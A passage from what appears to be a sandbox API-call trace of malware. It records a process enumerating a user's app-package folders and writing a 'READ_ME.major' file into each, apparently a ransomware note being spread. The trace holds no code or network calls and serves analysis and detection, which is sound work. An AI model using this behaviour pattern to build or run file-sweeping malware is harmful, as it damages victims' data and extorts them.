ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0180.651] SetLastError (dwErrCode=0x0) [0180.651] GetLastError () returned 0x0 [0180.651] SetLastError (dwErrCode=0x0) [0180.653] GetLastError () returned 0x0 [0180.653] SetLastError (dwErrCode=0x0) [0180.653] SetLastError (dwErrCode=0x0) [0180.653] SetLastError (dwErrCode=0x0) [0180.653] GetLastError () returned 0x0 [0180.653] SetLastError (dwErrCode=0x0) [0180.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.654] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.655] CloseHandle (hObject=0x834) returned 1 [0180.655] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0180.656] SetLastError (dwErrCode=0x0) [0180.656] GetLastError () returned 0x0 [0180.656] SetLastError (dwErrCode=0x0) [0180.656] SetLastError (dwErrCode=0x0) [0180.656] SetLastError (dwErrCode=0x0) [0180.656] GetLastError () returned 0x0 [0180.656] SetLastError (dwErrCode=0x0) [0180.656] GetLastError () returned 0x0 [0180.656] SetLastError (dwErrCode=0x0) [0180.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.656] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.657] CloseHandle (hObject=0x834) returned 1 [0180.657] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0180.657] SetLastError (dwErrCode=0x0) [0180.658] GetLastError () returned 0x0 [0180.658] SetLastError (dwErrCode=0x0) [0180.658] SetLastError (dwErrCode=0x0) [0180.658] SetLastError (dwErrCode=0x0) [0180.658] GetLastError () returned 0x0 [0180.658] SetLastError (dwErrCode=0x0) [0180.658] GetLastError () returned 0x0 [0180.658] SetLastError (dwErrCode=0x0) [0180.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.658] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.659] CloseHandle (hObject=0x834) returned 1 [0180.659] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0180.659] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e238 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b34212e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x309d358f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x309d358f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.660] SetLastError (dwErrCode=0x12) [0180.660] SetLastError (dwErrCode=0x12) [0180.660] GetLastError () returned 0x12 [0180.661] SetLastError (dwErrCode=0x12) [0180.661] GetLastError () returned 0x12 [0180.661] SetLastError (dwErrCode=0x12) [0180.661] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0180.778] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.779] CloseHandle (hObject=0x838) returned 1 [0180.779] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b278594, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b278594, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0180.779] SetLastError (dwErrCode=0x0) [0180.779] GetLastError () returned 0x0 [0180.780] SetLastError (dwErrCode=0x0) [0180.780] GetLastError () returned 0x0 [0180.780] SetLastError (dwErrCode=0x0) [0180.780] SetLastError (dwErrCode=0x0) [0180.780] GetLastError () returned 0x0 [0180.780] SetLastError (dwErrCode=0x0) [0180.780] GetLastError () returned 0x0 [0180.780] SetLastError (dwErrCode=0x0) [0180.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0180.781] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.782] CloseHandle (hObject=0x838) returned 1 [0180.782] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99cd3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b1aa9e9, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0180.782] SetLastError (dwErrCode=0x0) [0180.782] GetLastError () returned 0x0 [0180.782] SetLastError (dwErrCode=0x0) [0180.783] GetLastError () returned 0x0 [0180.783] SetLastError (dwErrCode=0x0) [0180.783] SetLastError (dwErrCode=0x0) [0180.783] GetLastError () returned 0x0 [0180.783] SetLastError (dwErrCode=0x0) [0180.783] GetLastError () returned 0x0 [0180.783] SetLastError (dwErrCode=0x0) [0180.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0180.971] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.972] CloseHandle (hObject=0x838) returned 1 [0180.972] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9a7db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b15e23b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0180.972] SetLastError (dwErrCode=0x0) [0180.972] GetLastError () returned 0x0 [0180.972] SetLastError (dwErrCode=0x0) [0180.972] GetLastError () returned 0x0 [0180.973] SetLastError (dwErrCode=0x0) [0180.973] SetLastError (dwErrCode=0x0) [0180.973] GetLastError () returned 0x0 [0180.973] SetLastError (dwErrCode=0x0) [0180.973] GetLastError () returned 0x0 [0180.973] SetLastError (dwErrCode=0x0) [0180.973] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0180.974] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.975] CloseHandle (hObject=0x838) returned 1 [0180.975] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.975] SetLastError (dwErrCode=0x0) [0180.975] GetLastError () returned 0x0 [0180.975] SetLastError (dwErrCode=0x0) [0180.975] GetLastError () returned 0x0 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9b11f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] GetLastError () returned 0x0 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] GetLastError () returned 0x0 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] SetLastError (dwErrCode=0x0) [0180.976] GetLastError () returned 0x0 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] GetLastError () returned 0x0 [0180.976] SetLastError (dwErrCode=0x0) [0180.976] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0180.977] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.978] CloseHandle (hObject=0x838) returned 1 [0180.978] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7114efb2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0180.978] SetLastError (dwErrCode=0x0) [0180.978] GetLastError () returned 0x0 [0180.978] SetLastError (dwErrCode=0x0) [0180.978] GetLastError () returned 0x0 [0180.978] SetLastError (dwErrCode=0x0) [0180.978] SetLastError (dwErrCode=0x0) [0180.978] GetLastError () returned 0x0 [0180.978] SetLastError (dwErrCode=0x0) [0180.979] GetLastError () returned 0x0 [0180.979] SetLastError (dwErrCode=0x0) [0180.979] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0181.093] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.094] CloseHandle (hObject=0x838) returned 1 [0181.094] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b92dcc4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b92dcc4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.094] SetLastError (dwErrCode=0x0) [0181.094] GetLastError () returned 0x0 [0181.094] SetLastError (dwErrCode=0x0) [0181.094] GetLastError () returned 0x0 [0181.094] SetLastError (dwErrCode=0x0) [0181.094] SetLastError (dwErrCode=0x0) [0181.094] GetLastError () returned 0x0 [0181.095] SetLastError (dwErrCode=0x0) [0181.095] GetLastError () returned 0x0 [0181.095] SetLastError (dwErrCode=0x0) [0181.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0181.096] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.096] CloseHandle (hObject=0x838) returned 1 [0181.097] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.097] SetLastError (dwErrCode=0x0) [0181.097] GetLastError () returned 0x0 [0181.097] SetLastError (dwErrCode=0x0) [0181.097] GetLastError () returned 0x0 [0181.097] SetLastError (dwErrCode=0x0) [0181.097] SetLastError (dwErrCode=0x0) [0181.097] GetLastError () returned 0x0 [0181.097] SetLastError (dwErrCode=0x0) [0181.097] GetLastError () returned 0x0 [0181.097] SetLastError (dwErrCode=0x0) [0181.097] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0181.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6580a0 | out: hHeap=0x570000) returned 1 [0181.098] WriteFile (in: hFile=0x838, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.099] CloseHandle (hObject=0x838) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657e48 | out: hHeap=0x570000) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0181.099] FindNextFileW (in: hFindFile=0x58e238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0181.099] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e578 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657a60 | out: hHeap=0x570000) returned 1 [0181.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0181.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.099] GetLastError () returned 0x12 [0181.099] SetLastError (dwErrCode=0x12) [0181.099] GetLastError () returned 0x12 [0181.100] SetLastError (dwErrCode=0x12) [0181.100] GetLastError () returned 0x12 [0181.100] SetLastError (dwErrCode=0x12) [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e3f8 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e3f8 | out: hHeap=0x570000) returned 1 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0181.100] FindNextFileW (in: hFindFile=0x58e578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0181.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.100] GetLastError () returned 0x12 [0181.100] SetLastError (dwErrCode=0x12) [0181.100] GetLastError () returned 0x12 [0181.100] SetLastError 